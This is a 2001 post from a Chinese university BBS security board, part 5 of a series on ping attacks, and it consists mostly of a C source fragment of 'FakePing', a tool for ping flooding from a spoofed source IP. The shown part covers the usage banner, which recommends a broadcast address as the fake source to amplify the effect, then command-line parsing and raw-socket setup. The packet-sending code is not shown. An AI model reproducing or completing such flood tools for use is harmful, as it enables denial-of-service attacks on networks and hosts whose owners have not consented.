荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: aaabbb (好好学习), 信区: Security
标  题: Ping攻防-伪装IP地址的洪水Ping攻击(5)
发信站: 荔园晨风BBS站 (Sat May 26 23:10:06 2001), 转信

//接受命令行参数
  if (argc<3)
   {
     printf("FakePing by Shotgun\n");
     printf("\tThis program can do Ping-Flooding from a
FakeIP\n");
     printf("\tUsing a BroadCast IP as the FakeIP will enhance
the effect\n");
     printf("Email:\n");
     printf("\tShotgun@Xici.Net\n");
     printf("HomePage:\n");
     printf("\thttp://It.Xici.Net\n");
     printf("\thttp://www.Patching.Net\n");
     printf("USAGE:\n\tFakePing.exe FakeSourceIp DestinationIp
[PacketSize]\n");
     printf("Example:\n");
     printf("\tFakePing.exe 192.168.15.23 192.168.15.255\n");
     printf("\tFakePing.exe 192.168.15.23 192.168.15.200 6400\n");

     exit(0);
   }
  strcpy(FakeSourceIp,argv[1]);
  strcpy(DestIp,argv[2]);
  if (argc>3) PacketSize=atoi(argv[3]);
  if (PacketSize>60000)
   {
     printf("Error! Packet size too big, must <60K\n");
     exit(0);
   }
  printf("Now Fake %s Ping %s using Packet size=%d bytes\n",
  FakeSourceIp, DestIp, PacketSize);
  printf("\tCtrl+C to Quit\n");
//初始化SOCK_RAW
  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
   {
     fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
     ExitProcess(STATUS_FAILED);
   }
--
 记忆 绝不是铅笔写就的往事 用皮擦抹去 就可以重新开始

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.32.1]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店